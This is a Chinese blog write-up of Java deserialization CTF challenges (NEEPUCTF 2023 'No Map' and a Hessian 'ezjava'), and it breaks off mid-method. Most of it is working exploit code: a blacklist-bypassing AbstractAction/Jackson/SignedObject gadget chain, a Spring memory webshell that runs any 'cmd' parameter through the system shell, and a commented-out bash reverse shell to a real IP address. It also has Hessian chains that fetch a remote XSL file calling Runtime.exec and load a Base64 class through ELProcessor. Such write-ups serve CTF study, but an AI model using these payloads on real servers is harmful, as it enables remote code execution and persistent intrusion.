NEEPUCTF2023 java题

Posted by Azeril on November 30, 2023
最近的题目复现都是在我的SCTF这个项目中做的太nice了
C:\Users\c'x'k\Desktop\java\shiro\SCTFjava

前言(No Map)

复现本篇文章是因为发现 安恒11月赛的java题的链子就是从这道题由们产生的AbstractAction这个

https://github.com/R1ckyZ/My-CTF-Challenges 附件链接(当时找了好久好久

搭建这道题环境的时候就感觉很有问题,二个容器id咦

image-20231130190702581

依赖

jackson 2.13.2
snakeyaml 1.29
spring-boot 2.6.7

代码非常的简洁就一个反序列化一个黑名单

public class MainController {
    @RequestMapping({"/"})
    @ResponseBody
    public String status() {
        return "Welcome to NEEPUCTF 2023 :D";
    }

    @RequestMapping({"/nomap"})
    @ResponseBody
    public String noMap(HttpServletRequest request) {
        try {
            MyObjectInputStream ois = new MyObjectInputStream(request.getInputStream());
            String name = ois.readUTF();
            int year = ois.readInt();
            if (name.equals("NEEPU") && year == 1949) {
                ois.readObject();
            }
            return "No map to deserialize XD";
        } catch (Exception var3) {
            var3.printStackTrace();
            return "No map to deserialize XD";
        }
    }
}
public class MyObjectInputStream extends ObjectInputStream {
    private static final String[] blacklist = {"bsh", "clojure", "java.util", "javax.management", "java.rmi", "com.sun.jndi", "sun.rmi", "org.apache", "org.hibernate", "org.springframework", "com.mchange.v2.c3p0", "com.rometools.rome.feed.impl", "com.alibaba.fastjson", "java.net.URL", "java.lang.reflect.Proxy", "javax.xml.transform.Templates", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "org.apache.xalan.xsltc.trax.TemplatesImpl", "org.python.core", "com.mysql.jdbc", "org.jboss"};

    public MyObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    protected MyObjectInputStream() throws IOException, SecurityException {
    }

    @Override // java.io.ObjectInputStream
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        for (String forbiddenPackage : blacklist) {
            if (className.startsWith(forbiddenPackage)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }
        return super.resolveClass(desc);
    }
}

javax.management 、java.util这俩类一禁用序列化的都没了。还好昨天复现了那个题

用AbstractAction链子直接能触发getter方法,只不过这里Templates也被禁了,那直接触发signObject打二次反序列化

(到这里有了个疑问,二次反序列化能绕过这个过滤嘛)

啥能不能你不实验怎么知道???直接开调试

AbstractAction#readObject—-?XString#equals—->jackson#toString—>signObject#getObject

这里最后到达 signObject的readObject,然后后面随便打一个badattribute链子不知道会不会被过滤

链子构造完了接下来吧黑名单带入看一下

image-20231130202335366

直接通了很神奇

第一次反序列化

这是二次反序列化后的部分

image-20231130202248662

image-20231130211450492

就在我本地idea中通了,但打jar包死活打不通我真的服啦,就在我以为是我自己的问题的时候

tnnd通了,顿时明白了jackson链子就有不稳定的问题(记得在复现DASCTF10月文章月赛RASP那道题记录过)

image-20231130211729645

完善过后就好用多了(但是发现用✌们直接在idea中用post传参,貌似传不上去,还得是py)

image-20231130212843246

最后的payload

先序列化然后010改一下,在上传

package example.demo.controller;


import com.example.ezfastjson.MemShell;
import com.example.ezfastjson.Threada;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.URI;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;

public class payload {
    private static String string;
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesImpl = (TemplatesImpl)getTemplatesImpl();

        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
        POJONode pojoNode2=new POJONode(proxyObj);


        BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
        Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val2.setAccessible(true);
        val2.set(exp2,pojoNode2);


        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(exp2, kp.getPrivate(), Signature.getInstance("DSA"));
        XString xString=new XString("aa");

        POJONode pojoNode=new POJONode(signedObject);

        //xString.equals(pojoNode);




        StyledEditorKit.AlignmentAction action=new StyledEditorKit.AlignmentAction("age",1);
        action.putValue("JYcxk1",xString);
        action.putValue("JYcxk2",pojoNode);

        Class<?> aClass = Class.forName("javax.swing.AbstractAction");
        Field changeSupport = aClass.getDeclaredField("changeSupport");
        changeSupport.setAccessible(true);
        changeSupport.set(action,new SwingPropertyChangeSupport(""));


        //serialize(action);
        FileInputStream fileInputStream=new FileInputStream("ser.bin");
        byte[] bytes=new byte[fileInputStream.available()];
        doPOST(bytes);
        fileInputStream.read(bytes);
        System.out.println(Base64.getEncoder().encodeToString(bytes));

      // unserialize("ser.bin");


    }
    public static Object getTemplatesImpl() throws IOException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException {
        TemplatesImpl templates=new TemplatesImpl();
       // byte[] evilBytes=getEvilBytes();
        setFieldValue(templates,"_name","JYcxk");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        setFieldValue(templates, "_bytecodes",
                new byte[][]{ClassPool.getDefault().get(Threada.class.getName()).toBytecode()}
        );

     //  setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
        return templates;

    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }
    public static byte[] getEvilBytes() throws NotFoundException, CannotCompileException, IOException, NotFoundException, CannotCompileException, NotFoundException, CannotCompileException {
        ClassPool classPool = new ClassPool(true);
        CtClass hello = classPool.makeClass("Hello");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        hello.setSuperclass(ctClass);
        CtConstructor ctConstructor=new CtConstructor(new CtClass[]{},hello);
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
       // ctConstructor.setBody("java.lang.Thread.sleep(99.2);");

        //ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/101.42.224.57/4444 0>&1\"});");
        //ctConstructor.setBody("Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"mkdir /me/jycxk/Desktop/sfsfs\"});");
        hello.addConstructor(ctConstructor);
        byte[] bytes=hello.toBytecode();
        hello.detach();


//        byte[] bytes = ClassPool.getDefault().get("com.sad.controller.SpringInterceptor").toBytecode();
        return bytes;

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeUTF("NEEPU");
        objectOutputStream.writeInt(1949);

        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new MyObjectInputStream(new FileInputStream(Filename));
        System.out.println(objectInputStream.readUTF());
        System.out.println(objectInputStream.readInt());

        return objectInputStream.readObject();
    }
    public static void doPOST(byte[] obj) throws Exception{
        HttpHeaders requestHeaders = new HttpHeaders();
        requestHeaders.set("Content-Type", "text/plain");
       // URI url = new URI("http://neepusec.fun:27010/nomap");
        //URI url = new URI("http://8.130.116.247:8090/nomap");
        URI url = new URI("http://127.0.0.1:8090/nomap");
        //URI url = new URI("http://localhost:8080/bypassit");
        HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);

        RestTemplate restTemplate = new RestTemplate();
        ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
        System.out.println(res.getBody());
    }
}

内存马

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;

public class InjectToController extends AbstractTranslet {

    // 第一个构造函数
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException, InstantiationException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        Method method2 = InjectToController.class.getMethod("test");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = RequestMappingInfo.paths("/Flag")
                .options(config)
                .build();
        InjectToController springControllerMemShell = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    // 第二个构造函数
    public InjectToController(String aaa) {}

    // controller指定的处理方法
    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        //exec
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                response.sendError(404);
            }
        }catch (Exception e){}
    }

就此篇文章进行一个tabby的分析

从上面可知我们XString#equals—>jackson#tostring

只有从readObject—>equals或者 readObject—>toString 这点链子是找不到的,后面都是固定的

match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 20) yield path 
return * limit 20
match (source:Method {NAME:"readObject"})
match (sink:Method {NAME:"toString"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 6) yield path 
return * limit 10

下面这条语句就会找到AbstrAction这个类的链子了

match (source:Method) where source.NAME in ["readObject"]
match (sink:Method {NAME:"toString"})<-[r:CALL]-(m1:Method) where r.REAL_CALL_TYPE in ["java.lang.Object"]
  //r.REAL_CALL_TYPE 啥意思?表main是调用了这个类
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 6) yield path
    //6是啥意思?
    
 where none(n in nodes(path) where (n.CLASSNAME =~ "javax.management.*" or n.CLASSNAME =~ "com.alibaba.fastjson.*" or n.CLASSNAME =~"java.uti.*" or n.CLASSNAME =~"com.sun.jndi.*" or n.CLASSNAME =~"sun.rmi.*" or n.CLASSNAME=~"java.net.URL.*" or n.CLASSNAME=~"java.io.*" or n.CLASSNAME=~"java.math.BigDecimal" or n.CLASSNAME=~"com.sun.javafx.*" or n.CLASSNAME=~"java.awt.*" or n.CLASSNAME=~"javax.swing.tree.DefaultTreeCellEditor" or n.CLASSNAME=~"com.sun.deploy.cache.*" or n.CLASSNAME=~"javax.security.auth.kerberos.KerberosPrincipal" or n.CLASSNAME=~"javax.crypto.SealedObject" or n.CLASSNAME=~"javax.sql.rowset.serial.SerialArray" or n.CLASSNAME=~"org.yaml.snakeyaml.events.Event" or n.CLASSNAME=~"sun.jvm.hotspot.utilities.ObjectReader" or n.CLASSNAME=~"javax.swing.ArrayTable" or n.NAME=~"clone" or n.CLASSNAME=~"javax.swing.text.DefaultStyledDocument" or n.CLASSNAME=~"javax.swing.tree.DefaultTreeSelectionModel" or n.CLASSNAME=~"java.beans.beancontext.BeanContextSupport" or n.CLASSNAME=~"sun.security.pkcs.PKCS8Key" or n.CLASSNAME=~"sun.font.FontDesignMetrics"))
    //以sun.font.FontDesignMetrics开头的,~是一个正则匹配
    //上面的这些类就相当于黑名单,路径调试不进去就加入进去把那个类
return * limit 10
match (source:Method) where source.NAME0 in ["javax.swing.readObject"]

本来是找不到AbstractAction这个类的,改了一个配置,把withAllJDK改为true即可

这是边的属性,可以看到有REAL_CALL_TYPE 调用的类型

image-20231203164124116

去掉那个REAL_CALL_TYPE也是可以的只不过查询的比较慢

match (source:Method {NAME:"readObject"})
match (sink:Method {NAME:"toString"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 6) yield path 
where none(n in nodes(path) where (n.CLASSNAME =~ "javax.management.*" or n.CLASSNAME =~ "com.alibaba.fastjson.*" or n.CLASSNAME =~"java.uti.*" or n.CLASSNAME =~"com.sun.jndi.*" or n.CLASSNAME =~"sun.rmi.*" or n.CLASSNAME=~"java.net.URL.*" or n.CLASSNAME=~"java.io.*" or n.CLASSNAME=~"java.math.BigDecimal" or n.CLASSNAME=~"com.sun.javafx.*" or n.CLASSNAME=~"java.awt.*" or n.CLASSNAME=~"javax.swing.tree.DefaultTreeCellEditor" or n.CLASSNAME=~"com.sun.deploy.cache.*" or n.CLASSNAME=~"javax.security.auth.kerberos.KerberosPrincipal" or n.CLASSNAME=~"javax.crypto.SealedObject" or n.CLASSNAME=~"javax.sql.rowset.serial.SerialArray" or n.CLASSNAME=~"org.yaml.snakeyaml.events.Event" or n.CLASSNAME=~"sun.jvm.hotspot.utilities.ObjectReader" or n.CLASSNAME=~"javax.swing.ArrayTable" or n.NAME=~"clone" or n.CLASSNAME=~"javax.swing.text.DefaultStyledDocument" or n.CLASSNAME=~"javax.swing.tree.DefaultTreeSelectionModel" or n.CLASSNAME=~"java.beans.beancontext.BeanContextSupport" or n.CLASSNAME=~"sun.security.pkcs.PKCS8Key" or n.CLASSNAME=~"sun.font.FontDesignMetrics" or n.CLASSNAME=~"java.lang.Throwable.*"))
return * limit 9

image-20231203165951184

是不是有Bean

做这道题之前,先要做一下D^3CTF那道题先润了日后见

(咦,12.9我润回来了呜呜呜,也就一个星期丷)

题目名字:ezjava(😢😢这个名字的含金量应该就不用说了八,D3CTF题的名字也是ezjava)

首先查看依赖

com.alipay.sofa hessian  3.3.13
snakkeyaml-1.25    

还有一堆的黑名单,大概看了 常用的都禁用了还有二次反序列化也禁用了,但是关于hessian的都还在

image-20231209182353940

给出了几个类,首先分析一下功能

Blacklist

public class Blacklist {
    public static List<String> hessianBlackList = readList("security/YouAreBadBad.txt");//读取黑名单列表
    public static List<String> readList(String blackListFile) {
        ArrayList<String> result = new ArrayList<>();
        InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream(blackListFile);//读取传入参数路径的内容
        if (inputStream == null) {
            return result;
        }
        Scanner scanner = null;
        try {
            scanner = new Scanner(inputStream);
            while (scanner.hasNextLine()) {
                String nextLine = scanner.nextLine();
                if (!isDeny(nextLine)) {//去掉空格 tab 换行
                    result.add(nextLine);
                }
            }
            return result;
        } catch (Exception e) {
            if (scanner == null) {
                return result;
            }
            scanner.close();
            return result;
        }
    }

    static boolean isDeny(String cs) {
        int strLen;
        if (cs == null || (strLen = cs.length()) == 0) {
            return true;
        }
        for (int i = 0; i < strLen; i++) {
            if (!Character.isWhitespace(cs.charAt(i))) {
                return false;
            }
        }
        return true;
    }
}

SafeInvoker

public class SafeInvoker extends InvokePipeline {
    private int hashCode;
    public Object doInvoke(String className, String methodName, Object[] args) throws InvalidClassException {
        ClassUtil.checkClassAccess(className);
        //首先将输入的类名和黑名单中做一个匹配
        
        try {
            Class clazz = Class.forName(className, true, null);//执行类的方法并且初始化
            if (methodName != null) {
                Method method = clazz.getMethod(methodName, ClassUtil.getClassArray(args));
                method.setAccessible(true);
                return method.invoke(clazz, args);
            }
            Constructor constructor = clazz.getConstructor(ClassUtil.getClassArray(args));
            constructor.setAccessible(true);
            return constructor.newInstance(args);//类的构造方法是有参数的
        } catch (Exception e) {
            return null;
        }
    }

    @Override // com.example.ezjava.util.InvokePipeline
    public int hashCode() {
        return this.hashCode;
    }

    public String toString() {
        return "Invoker Method: SafeInvoker";
    }
}

SafeSerializer

public class SafeSerializer {
    public static Object deserialize(byte[] obj) throws Exception {
        Hessian2Input input = new Hessian2Input(new ByteArrayInputStream(obj));
        ClassNameResolver resolver = new ClassNameResolver();
        resolver.addFilter(new DenyClassFilter());
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        input.setSerializerFactory(serializerFactory);
        input.getSerializerFactory().setClassNameResolver(resolver);
        return input.readObject();
    }//hessian 反序列化,但是也校验了黑名单

    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(bos);
        output.writeObject(obj);
        output.close();
        return bos.toByteArray();
    }

    /* loaded from: ezjava.jar:BOOT-INF/classes/com/example/ezjava/security/SafeSerializer$DenyClassFilter.class */
    static class DenyClassFilter extends NameBlackListFilter {
        public DenyClassFilter() {
            super(Blacklist.hessianBlackList);
        }
    }
}

ClassUtil

public class ClassUtil {
    public static void checkClassAccess(String checked) throws InvalidClassException {
        for (String s : Blacklist.hessianBlackList) {
            if (s.equals(checked)) {
                throw new InvalidClassException("show show way");
            }
        }
    }

    public static Class[] getClassArray(Object[] args) {//获取父类的功能?
        Class[] argClasses = null;
        if (args != null) {
            argClasses = new Class[args.length];
            for (int index = 0; index < args.length; index++) {
                if (args[index] instanceof Integer) {
                    argClasses[index] = Integer.TYPE;
                } else if (args[index] instanceof Boolean) {
                    argClasses[index] = Boolean.TYPE;
                } else if (args[index] instanceof ColorUIResource) {
                    argClasses[index] = Color.class;
                } else {
                    argClasses[index] = args[index].getClass();
                }
            }
        }
        return argClasses;
    }
}

InvokePipeline

public class InvokePipeline {
    private final int hashCode = -1;

    public boolean check(Object obj, String methodName, Object[] args) throws NoSuchMethodException, InvalidClassException {
        if (obj.getClass().getMethod(methodName, ClassUtil.getClassArray(args)).getReturnType() != Void.TYPE) {
            return false;
        }//要往下面走则,方法返回类型必须是 Void
        return obj.equals(new SafeInvoker().doInvoke(obj.getClass().getName(), methodName, args));
    }//然后这里又会调用 equals和自定义的doinvoke方法

    public int hashCode() {
        return -1;
    }
}

比较奇怪的是每个类几乎都重写了hashCode这个方法,就很容易想到HashMap,正好没禁hashmap,我觉得这道题就是通过自定义的类当中间的链子拼凑成的,看了看原生类的链子

image-20231209195643485

invoke:275, MethodUtil (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)   //禁用了
getFromHashtable:216, UIDefaults (javax.swing)      
get:161, UIDefaults (javax.swing)                  //禁用了
toString:253, MimeTypeParameterList (javax.activation)  //禁用了
    
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)

其他的也是同样都禁了个稀巴烂,

doInvoke、check,其实我感觉就是从 Hesian2Input—>check考察这个链子,

先用tabby找一下返回类型为void的类,懵逼的我?,后来看wp一种就是D3CTF哪种方法,一种就是XSLT截断完全看不懂,先附上代码了

image-20231210122705371

match (m1:Method) where m1.RETURN_TYPE="void" 
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import com.caucho.hessian.io.SerializerFactory;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

public class Hessian_PKCS9Attributes_SwingLazyValue_Process {
    public static void main(String[] args) throws Exception {
        PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
        UIDefaults uiDefaults = new UIDefaults();
        String payload = "http://127.0.0.1:8000/calc.xml";
        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XSLTC", "-XSL", payload}}));

        setFieldValue(s,"attributes",uiDefaults);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        out.setSerializerFactory(new SerializerFactory());
        out.getSerializerFactory().setAllowNonSerializable(true);
        baos.write(79);
        out.writeObject(s);
        out.flush();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
    <xsl:template match="/">
      <xsl:variable name="rtobject" select="rt:getRuntime()"/>
      <xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
      <xsl:variable name="processString" select="ob:toString($process)"/>
      <xsl:value-of select="$processString"/>
    </xsl:template>
</xsl:stylesheet>
另一种方法直接打D3ctf那个reference注入
package com.example.ezjava.controller;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.fasterxml.jackson.databind.node.POJONode;
import org.apache.naming.ResourceRef;
import sun.reflect.ReflectionFactory;
import com.alibaba.fastjson.JSONObject;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class ELProcessChain {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\c'x'k\\Desktop\\dasctffastjson\\target\\classes\\com\\example\\MemShell\\SpringInterceptorEcho.class"));
        String s1 = Base64.getEncoder().encodeToString(bytes);
        String x = "var str='"+s1+"';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";
        //String x = "java.lang.Runtime.getRuntime().exec(\\\"calc\\\")";
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));
        resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        ccCons.setAccessible(true);
        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(resourceRef);
        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

//       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
        POJONode jsonNodes = new POJONode(ctx);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(79);
        out.setSerializerFactory(new SerializerFactory());
        out.getSerializerFactory().setAllowNonSerializable(true);
        //out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(jsonNodes);
        //out.flushBuffer();
        out.flush();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        //input.readObject();
        String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
        System.out.println(ret);

    }
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
        //Neepu{Y0u_REa11Y_Haue_bean_D0Nt_U}
    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
        //writeReplaceMethod.setAccessible(true);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
